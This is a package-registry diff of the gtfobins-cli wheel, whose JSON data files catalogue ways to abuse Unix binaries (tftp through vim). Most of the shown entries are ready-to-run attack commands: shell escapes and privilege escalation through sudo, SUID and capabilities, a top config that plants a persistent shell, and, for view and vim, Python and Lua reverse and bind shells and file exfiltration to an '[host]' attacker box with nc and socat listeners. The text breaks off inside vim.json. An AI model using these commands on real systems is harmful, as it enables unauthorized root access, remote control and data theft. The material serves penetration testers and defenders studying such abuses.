gtfobins-cli 1.0.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (263) hide show
  1. gtfo/__init__.py +2 -0
  2. gtfo/cli.py +90 -0
  3. gtfo/data/apt-get.json +24 -0
  4. gtfo/data/apt.json +24 -0
  5. gtfo/data/ar.json +20 -0
  6. gtfo/data/aria2c.json +24 -0
  7. gtfo/data/arp.json +20 -0
  8. gtfo/data/ash.json +24 -0
  9. gtfo/data/at.json +20 -0
  10. gtfo/data/atobm.json +20 -0
  11. gtfo/data/awk.json +46 -0
  12. gtfo/data/base32.json +19 -0
  13. gtfo/data/base64.json +19 -0
  14. gtfo/data/basenc.json +19 -0
  15. gtfo/data/bash.json +69 -0
  16. gtfo/data/bpftrace.json +15 -0
  17. gtfo/data/bundler.json +29 -0
  18. gtfo/data/busctl.json +15 -0
  19. gtfo/data/busybox.json +37 -0
  20. gtfo/data/byebug.json +19 -0
  21. gtfo/data/cancel.json +10 -0
  22. gtfo/data/capsh.json +19 -0
  23. gtfo/data/cat.json +19 -0
  24. gtfo/data/certbot.json +14 -0
  25. gtfo/data/check_by_ssh.json +17 -0
  26. gtfo/data/check_cups.json +15 -0
  27. gtfo/data/check_log.json +20 -0
  28. gtfo/data/check_memory.json +15 -0
  29. gtfo/data/check_raid.json +15 -0
  30. gtfo/data/check_ssl_cert.json +17 -0
  31. gtfo/data/check_statusfile.json +15 -0
  32. gtfo/data/chmod.json +15 -0
  33. gtfo/data/chown.json +15 -0
  34. gtfo/data/chroot.json +14 -0
  35. gtfo/data/cobc.json +14 -0
  36. gtfo/data/column.json +20 -0
  37. gtfo/data/comm.json +19 -0
  38. gtfo/data/composer.json +19 -0
  39. gtfo/data/cowsay.json +15 -0
  40. gtfo/data/cowthink.json +14 -0
  41. gtfo/data/cp.json +32 -0
  42. gtfo/data/cpan.json +33 -0
  43. gtfo/data/cpio.json +48 -0
  44. gtfo/data/cpulimit.json +19 -0
  45. gtfo/data/crash.json +21 -0
  46. gtfo/data/crontab.json +16 -0
  47. gtfo/data/csh.json +24 -0
  48. gtfo/data/csplit.json +19 -0
  49. gtfo/data/csvtool.json +31 -0
  50. gtfo/data/cupsfilter.json +19 -0
  51. gtfo/data/curl.json +34 -0
  52. gtfo/data/cut.json +19 -0
  53. gtfo/data/dash.json +24 -0
  54. gtfo/data/date.json +20 -0
  55. gtfo/data/dd.json +24 -0
  56. gtfo/data/dialog.json +20 -0
  57. gtfo/data/diff.json +19 -0
  58. gtfo/data/dig.json +20 -0
  59. gtfo/data/dmesg.json +22 -0
  60. gtfo/data/dmsetup.json +14 -0
  61. gtfo/data/dnf.json +10 -0
  62. gtfo/data/docker.json +35 -0
  63. gtfo/data/dpkg.json +20 -0
  64. gtfo/data/dvips.json +20 -0
  65. gtfo/data/easy_install.json +53 -0
  66. gtfo/data/eb.json +15 -0
  67. gtfo/data/ed.json +34 -0
  68. gtfo/data/emacs.json +29 -0
  69. gtfo/data/env.json +19 -0
  70. gtfo/data/eqn.json +20 -0
  71. gtfo/data/ex.json +24 -0
  72. gtfo/data/exiftool.json +20 -0
  73. gtfo/data/expand.json +20 -0
  74. gtfo/data/expect.json +19 -0
  75. gtfo/data/facter.json +14 -0
  76. gtfo/data/file.json +26 -0
  77. gtfo/data/find.json +19 -0
  78. gtfo/data/finger.json +17 -0
  79. gtfo/data/flock.json +19 -0
  80. gtfo/data/fmt.json +27 -0
  81. gtfo/data/fold.json +19 -0
  82. gtfo/data/ftp.json +26 -0
  83. gtfo/data/gawk.json +46 -0
  84. gtfo/data/gcc.json +24 -0
  85. gtfo/data/gdb.json +66 -0
  86. gtfo/data/gem.json +28 -0
  87. gtfo/data/genisoimage.json +15 -0
  88. gtfo/data/ghc.json +14 -0
  89. gtfo/data/ghci.json +14 -0
  90. gtfo/data/gimp.json +57 -0
  91. gtfo/data/git.json +55 -0
  92. gtfo/data/grep.json +20 -0
  93. gtfo/data/gtester.json +19 -0
  94. gtfo/data/gzip.json +23 -0
  95. gtfo/data/hd.json +20 -0
  96. gtfo/data/head.json +19 -0
  97. gtfo/data/hexdump.json +20 -0
  98. gtfo/data/highlight.json +19 -0
  99. gtfo/data/hping3.json +19 -0
  100. gtfo/data/iconv.json +25 -0
  101. gtfo/data/iftop.json +20 -0
  102. gtfo/data/install.json +15 -0
  103. gtfo/data/ionice.json +19 -0
  104. gtfo/data/ip.json +28 -0
  105. gtfo/data/irb.json +47 -0
  106. gtfo/data/jjs.json +43 -0
  107. gtfo/data/join.json +19 -0
  108. gtfo/data/journalctl.json +15 -0
  109. gtfo/data/jq.json +19 -0
  110. gtfo/data/jrunscript.json +43 -0
  111. gtfo/data/ksh.json +60 -0
  112. gtfo/data/ksshell.json +20 -0
  113. gtfo/data/latex.json +29 -0
  114. gtfo/data/latexmk.json +27 -0
  115. gtfo/data/ld.so.json +20 -0
  116. gtfo/data/ldconfig.json +17 -0
  117. gtfo/data/less.json +40 -0
  118. gtfo/data/logsave.json +19 -0
  119. gtfo/data/look.json +19 -0
  120. gtfo/data/ltrace.json +26 -0
  121. gtfo/data/lua.json +58 -0
  122. gtfo/data/lualatex.json +20 -0
  123. gtfo/data/luatex.json +20 -0
  124. gtfo/data/lwp-download.json +26 -0
  125. gtfo/data/lwp-request.json +14 -0
  126. gtfo/data/mail.json +20 -0
  127. gtfo/data/make.json +26 -0
  128. gtfo/data/man.json +24 -0
  129. gtfo/data/mawk.json +34 -0
  130. gtfo/data/more.json +24 -0
  131. gtfo/data/mount.json +10 -0
  132. gtfo/data/mtr.json +15 -0
  133. gtfo/data/mv.json +15 -0
  134. gtfo/data/mysql.json +26 -0
  135. gtfo/data/nano.json +34 -0
  136. gtfo/data/nawk.json +46 -0
  137. gtfo/data/nc.json +40 -0
  138. gtfo/data/nice.json +19 -0
  139. gtfo/data/nl.json +20 -0
  140. gtfo/data/nmap.json +82 -0
  141. gtfo/data/node.json +58 -0
  142. gtfo/data/nohup.json +24 -0
  143. gtfo/data/npm.json +14 -0
  144. gtfo/data/nroff.json +20 -0
  145. gtfo/data/nsenter.json +14 -0
  146. gtfo/data/octave-cli.json +30 -0
  147. gtfo/data/od.json +20 -0
  148. gtfo/data/openssl.json +55 -0
  149. gtfo/data/openvpn.json +28 -0
  150. gtfo/data/openvt.json +10 -0
  151. gtfo/data/paste.json +19 -0
  152. gtfo/data/pdb.json +15 -0
  153. gtfo/data/pdflatex.json +29 -0
  154. gtfo/data/pdftex.json +19 -0
  155. gtfo/data/perl.json +35 -0
  156. gtfo/data/pg.json +24 -0
  157. gtfo/data/php.json +70 -0
  158. gtfo/data/pic.json +19 -0
  159. gtfo/data/pico.json +34 -0
  160. gtfo/data/pip.json +53 -0
  161. gtfo/data/pkexec.json +9 -0
  162. gtfo/data/pkg.json +10 -0
  163. gtfo/data/pr.json +20 -0
  164. gtfo/data/pry.json +19 -0
  165. gtfo/data/psql.json +15 -0
  166. gtfo/data/puppet.json +26 -0
  167. gtfo/data/python.json +62 -0
  168. gtfo/data/rake.json +19 -0
  169. gtfo/data/readelf.json +20 -0
  170. gtfo/data/red.json +20 -0
  171. gtfo/data/redcarpet.json +15 -0
  172. gtfo/data/restic.json +20 -0
  173. gtfo/data/rev.json +19 -0
  174. gtfo/data/rlogin.json +11 -0
  175. gtfo/data/rlwrap.json +25 -0
  176. gtfo/data/rpm.json +26 -0
  177. gtfo/data/rpmquery.json +19 -0
  178. gtfo/data/rsync.json +19 -0
  179. gtfo/data/ruby.json +52 -0
  180. gtfo/data/run-mailcap.json +28 -0
  181. gtfo/data/run-parts.json +19 -0
  182. gtfo/data/rview.json +100 -0
  183. gtfo/data/rvim.json +100 -0
  184. gtfo/data/sash.json +19 -0
  185. gtfo/data/scp.json +31 -0
  186. gtfo/data/screen.json +24 -0
  187. gtfo/data/script.json +20 -0
  188. gtfo/data/sed.json +41 -0
  189. gtfo/data/service.json +14 -0
  190. gtfo/data/setarch.json +19 -0
  191. gtfo/data/sftp.json +26 -0
  192. gtfo/data/sg.json +15 -0
  193. gtfo/data/shuf.json +28 -0
  194. gtfo/data/smbclient.json +27 -0
  195. gtfo/data/snap.json +10 -0
  196. gtfo/data/socat.json +46 -0
  197. gtfo/data/soelim.json +20 -0
  198. gtfo/data/sort.json +19 -0
  199. gtfo/data/split.json +31 -0
  200. gtfo/data/sqlite3.json +34 -0
  201. gtfo/data/ss.json +20 -0
  202. gtfo/data/ssh-keygen.json +22 -0
  203. gtfo/data/ssh.json +38 -0
  204. gtfo/data/ssh_keyscan.json +20 -0
  205. gtfo/data/start-stop-daemon.json +19 -0
  206. gtfo/data/stdbuf.json +19 -0
  207. gtfo/data/strace.json +25 -0
  208. gtfo/data/strings.json +20 -0
  209. gtfo/data/su.json +9 -0
  210. gtfo/data/sysctl.json +20 -0
  211. gtfo/data/systemctl.json +21 -0
  212. gtfo/data/tac.json +20 -0
  213. gtfo/data/tail.json +19 -0
  214. gtfo/data/tar.json +51 -0
  215. gtfo/data/taskset.json +19 -0
  216. gtfo/data/tbl.json +20 -0
  217. gtfo/data/tclsh.json +25 -0
  218. gtfo/data/tcpdump.json +15 -0
  219. gtfo/data/tee.json +20 -0
  220. gtfo/data/telnet.json +28 -0
  221. gtfo/data/tex.json +19 -0
  222. gtfo/data/tftp.json +28 -0
  223. gtfo/data/time.json +20 -0
  224. gtfo/data/timeout.json +19 -0
  225. gtfo/data/tmux.json +14 -0
  226. gtfo/data/top.json +16 -0
  227. gtfo/data/troff.json +20 -0
  228. gtfo/data/ul.json +20 -0
  229. gtfo/data/unexpand.json +19 -0
  230. gtfo/data/uniq.json +20 -0
  231. gtfo/data/unshare.json +19 -0
  232. gtfo/data/update-alternatives.json +16 -0
  233. gtfo/data/uuencode.json +19 -0
  234. gtfo/data/valgrind.json +14 -0
  235. gtfo/data/vi.json +28 -0
  236. gtfo/data/view.json +109 -0
  237. gtfo/data/vim.json +109 -0
  238. gtfo/data/vimdiff.json +109 -0
  239. gtfo/data/virsh.json +21 -0
  240. gtfo/data/watch.json +25 -0
  241. gtfo/data/wc.json +20 -0
  242. gtfo/data/wget.json +40 -0
  243. gtfo/data/whois.json +25 -0
  244. gtfo/data/wish.json +20 -0
  245. gtfo/data/xargs.json +35 -0
  246. gtfo/data/xelatex.json +29 -0
  247. gtfo/data/xetex.json +19 -0
  248. gtfo/data/xmodmap.json +20 -0
  249. gtfo/data/xmore.json +20 -0
  250. gtfo/data/xxd.json +24 -0
  251. gtfo/data/xz.json +19 -0
  252. gtfo/data/yelp.json +10 -0
  253. gtfo/data/yum.json +20 -0
  254. gtfo/data/zip.json +24 -0
  255. gtfo/data/zsh.json +29 -0
  256. gtfo/data/zsoelim.json +20 -0
  257. gtfo/data/zypper.json +22 -0
  258. gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
  259. gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
  260. gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
  261. gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
  262. gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
  263. gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/tftp.json ADDED
@@ -0,0 +1,28 @@
1
+ {
2
+ "functions": {
3
+ "file-upload": [
4
+ {
5
+ "description": "Send local file to a TFTP server.",
6
+ "code": "tftp [host]\nput [file]\n"
7
+ }
8
+ ],
9
+ "file-download": [
10
+ {
11
+ "description": "Fetch a remote file from a TFTP server.",
12
+ "code": "tftp [host]\nget [file]\n"
13
+ }
14
+ ],
15
+ "suid": [
16
+ {
17
+ "description": "Send local file to a TFTP server.",
18
+ "code": "./tftp [host]\nput [file]\n"
19
+ }
20
+ ],
21
+ "sudo": [
22
+ {
23
+ "description": "Send local file to a TFTP server.",
24
+ "code": "sudo tftp [host]\nput [file]\n"
25
+ }
26
+ ]
27
+ }
28
+ }
gtfo/data/time.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Note that the shell might have its own builtin time implementation, which may behave differently than '/usr/bin/time', hence the absolute path.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "/usr/bin/time /bin/sh"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./time /bin/sh -p"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo /usr/bin/time /bin/sh"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/timeout.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "timeout 7d /bin/sh"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./timeout 7d /bin/sh -p"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo timeout --foreground 7d /bin/sh"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/tmux.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "tmux"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo tmux"
11
+ }
12
+ ]
13
+ }
14
+ }
gtfo/data/top.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "description": "This requires that an existing configuration file is present, to create one run 'top' then type 'Wq'. Note down the actual configuration file path and use it in the below examples.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc\ntop\n# press return twice\nreset\n"
7
+ }
8
+ ],
9
+ "sudo": [
10
+ {
11
+ "description": "This requires that the root configuration file is writable and might be used to persist elevated privileges.",
12
+ "code": "echo -e 'pipe\\tx\\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc\nsudo top\n# press return twice\nreset\n"
13
+ }
14
+ ]
15
+ }
16
+ }
gtfo/data/troff.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The file is typeset but text is still readable in the output, alternatively the output can be read with 'man -l'.\n",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "troff [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./troff [file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo troff [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/ul.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The read file content is corrupted by replacing occurrences of '$'\\b_'' to terminal sequences and by converting tabs to spaces.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "ul [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./ul [file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo ul [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "unexpand -t99999999 [file]\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./unexpand -t99999999 [file]\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo unexpand -t99999999 [file]\n"
16
+ }
17
+ ]
18
+ }
19
+ }
gtfo/data/uniq.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "The read file content is corrupted by squashing multiple adjacent lines.",
3
+ "functions": {
4
+ "file-read": [
5
+ {
6
+ "code": "uniq [file]\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "code": "./uniq [file]\n"
12
+ }
13
+ ],
14
+ "sudo": [
15
+ {
16
+ "code": "sudo uniq [file]\n"
17
+ }
18
+ ]
19
+ }
20
+ }
gtfo/data/unshare.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "unshare /bin/sh"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "./unshare -r /bin/sh"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo unshare /bin/sh"
16
+ }
17
+ ]
18
+ }
19
+ }
@@ -0,0 +1,16 @@
1
+ {
2
+ "functions": {
3
+ "sudo": [
4
+ {
5
+ "description": "Write in [file] a symlink to $TF.",
6
+ "code": "TF=$(mktemp)\necho DATA >$TF\nsudo update-alternatives --force --install [file] x \"$TF\" 0\n"
7
+ }
8
+ ],
9
+ "suid": [
10
+ {
11
+ "description": "Write in [file] a symlink to $TF.",
12
+ "code": "TF=$(mktemp)\necho DATA >$TF\n./update-alternatives --force --install [file] x \"$TF\" 0\n"
13
+ }
14
+ ]
15
+ }
16
+ }
@@ -0,0 +1,19 @@
1
+ {
2
+ "functions": {
3
+ "file-read": [
4
+ {
5
+ "code": "uuencode \"[file]\" /dev/stdout | uudecode\n"
6
+ }
7
+ ],
8
+ "suid": [
9
+ {
10
+ "code": "uuencode \"[file]\" /dev/stdout | uudecode\n"
11
+ }
12
+ ],
13
+ "sudo": [
14
+ {
15
+ "code": "sudo uuencode \"[file]\" /dev/stdout | uudecode\n"
16
+ }
17
+ ]
18
+ }
19
+ }
@@ -0,0 +1,14 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "valgrind /bin/sh"
6
+ }
7
+ ],
8
+ "sudo": [
9
+ {
10
+ "code": "sudo valgrind /bin/sh"
11
+ }
12
+ ]
13
+ }
14
+ }
gtfo/data/vi.json ADDED
@@ -0,0 +1,28 @@
1
+ {
2
+ "description": "Modern Unix systems run 'vim' binary when 'vi' is called.",
3
+ "functions": {
4
+ "shell": [
5
+ {
6
+ "code": "vi -c ':!/bin/sh' /dev/null"
7
+ },
8
+ {
9
+ "code": "vi\n:set shell=/bin/sh\n:shell\n"
10
+ }
11
+ ],
12
+ "file-write": [
13
+ {
14
+ "code": "vi [file]\niDATA\n^[\nw\n"
15
+ }
16
+ ],
17
+ "file-read": [
18
+ {
19
+ "code": "vi [file]"
20
+ }
21
+ ],
22
+ "sudo": [
23
+ {
24
+ "code": "sudo vi -c ':!/bin/sh' /dev/null"
25
+ }
26
+ ]
27
+ }
28
+ }
gtfo/data/view.json ADDED
@@ -0,0 +1,109 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "view -c ':!/bin/sh'"
6
+ },
7
+ {
8
+ "code": "view\n:set shell=/bin/sh\n:shell\n"
9
+ },
10
+ {
11
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.",
12
+ "code": "view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
13
+ },
14
+ {
15
+ "description": "This requires that 'view' is compiled with Lua support.",
16
+ "code": "view -c ':lua os.execute(\"reset; exec sh\")'"
17
+ }
18
+ ],
19
+ "reverse-shell": [
20
+ {
21
+ "description": "This requires that 'view' is compiled with Python support. Pr[e]pend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
22
+ "code": "view -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
23
+ }
24
+ ],
25
+ "non-interactive-reverse-shell": [
26
+ {
27
+ "description": "Run 'nc [host] [port]' on the attacker box to receive the shell. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.",
28
+ "code": "view -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nwhile true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\nend;\nf:close();t:close();'\n"
29
+ }
30
+ ],
31
+ "non-interactive-bind-shell": [
32
+ {
33
+ "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.",
34
+ "code": "view -c ':lua local k=require(\"socket\");\nlo[cal s=assert(k.bind(\"*\", [port]));\nlocal c=s:accept();\nwhile true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\nend;c:close();f:close();'\n"
35
+ }
36
+ ],
37
+ "file-upload": [
38
+ {
39
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
40
+ "code": "view -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[host]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n"
41
+ },
42
+ {
43
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.",
44
+ "code": "view -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
45
+ },
46
+ {
47
+ "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.",
48
+ "code": "view -c ':lua local f=io.open(\"[file]\", \"rb\")\nlocal d=f:read(\"*a\")\nio.close(f);\nlocal s=require(\"socket\");\nlocal t=assert(s.tcp());\nt:connect(\"[host]\", [port]);\nt:send(d);\nt:close();'\n"
49
+ }
50
+ ],
51
+ "file-download": [
52
+ {
53
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.",
54
+ "code": "view -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[host]\", \"[file]\")\nvim.command(\":q!\")'\n"
55
+ },
56
+ {
57
+ "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'view' is compiled with Lua support and that 'lua-socket' is installed.",
58
+ "code": "view -c ':lua local k=require(\"socket\");\nlocal s=assert(k.bind(\"*\",\"[port]\"));\nlocal c=s:accept();\nlocal d,x=c:receive(\"*a\");\nc:close();\nlocal f=io.open(\"[file]\", \"wb\");\nf:write(d);\nio.close(f);'\n"
59
+ }
60
+ ],
61
+ "file-write": [
62
+ {
63
+ "code": "view [file]\niDATA\n^[\nw!\n"
64
+ }
65
+ ],
66
+ "file-read": [
67
+ {
68
+ "code": "view [file]"
69
+ }
70
+ ],
71
+ "library-load": [
72
+ {
73
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.",
74
+ "code": "view -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
75
+ }
76
+ ],
77
+ "suid": [
78
+ {
79
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.",
80
+ "code": "./view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
81
+ }
82
+ ],
83
+ "sudo": [
84
+ {
85
+ "code": "sudo view -c ':!/bin/sh'"
86
+ },
87
+ {
88
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.",
89
+ "code": "sudo view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
90
+ },
91
+ {
92
+ "description": "This requires that 'view' is compiled with Lua support.",
93
+ "code": "sudo view -c ':lua os.execute(\"reset; exec sh\")'"
94
+ }
95
+ ],
96
+ "capabilities": [
97
+ {
98
+ "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.",
99
+ "code": "./view -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
100
+ }
101
+ ],
102
+ "limited-suid": [
103
+ {
104
+ "description": "This requires that 'view' is compiled with Lua support.",
105
+ "code": "./view -c ':lua os.execute(\"reset; exec sh\")'"
106
+ }
107
+ ]
108
+ }
109
+ }
gtfo/data/vim.json ADDED
@@ -0,0 +1,109 @@
1
+ {
2
+ "functions": {
3
+ "shell": [
4
+ {
5
+ "code": "vim -c ':!/bin/sh'"
6
+ },
7
+ {
8
+ "code": "vim\n:set shell=/bin/sh\n:shell\n"
9
+ },
10
+ {
11
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.",
12
+ "code": "vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
13
+ },
14
+ {
15
+ "description": "This requires that 'vim' is compiled with Lua support.",
16
+ "code": "vim -c ':lua os.execute(\"reset; exec sh\")'"
17
+ }
18
+ ],
19
+ "reverse-shell": [
20
+ {
21
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
22
+ "code": "vim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n"
23
+ }
24
+ ],
25
+ "non-interactive-reverse-shell": [
26
+ {
27
+ "description": "Run 'nc -lp [port]' on the attacker box to receive the shell. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.",
28
+ "code": "vim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n"
29
+ }
30
+ ],
31
+ "non-interactive-bind-shell": [
32
+ {
33
+ "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.",
34
+ "code": "vim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n"
35
+ }
36
+ ],
37
+ "file-upload": [
38
+ {
39
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
40
+ "code": "vim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n"
41
+ },
42
+ {
43
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.",
44
+ "code": "vim -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n"
45
+ },
46
+ {
47
+ "description": "Send a local file via TCP. Run 'nc -lp [port] > [file]' on the attacker box to collect the file. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.",
48
+ "code": "vim -c ':lua local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n"
49
+ }
50
+ ],
51
+ "file-download": [
52
+ {
53
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.",
54
+ "code": "vim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")\nvim.command(\":q!\")'\n"
55
+ },
56
+ {
57
+ "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.",
58
+ "code": "vim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n"
59
+ }
60
+ ],
61
+ "file-write": [
62
+ {
63
+ "code": "vim [file]\niDATA\n^[\nw\n"
64
+ }
65
+ ],
66
+ "file-read": [
67
+ {
68
+ "code": "vim [file]"
69
+ }
70
+ ],
71
+ "library-load": [
72
+ {
73
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.",
74
+ "code": "vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'"
75
+ }
76
+ ],
77
+ "suid": [
78
+ {
79
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.",
80
+ "code": "./vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'"
81
+ }
82
+ ],
83
+ "sudo": [
84
+ {
85
+ "code": "sudo vim -c ':!/bin/sh'"
86
+ },
87
+ {
88
+ "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.",
89
+ "code": "sudo vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'"
90
+ },
91
+ {
92
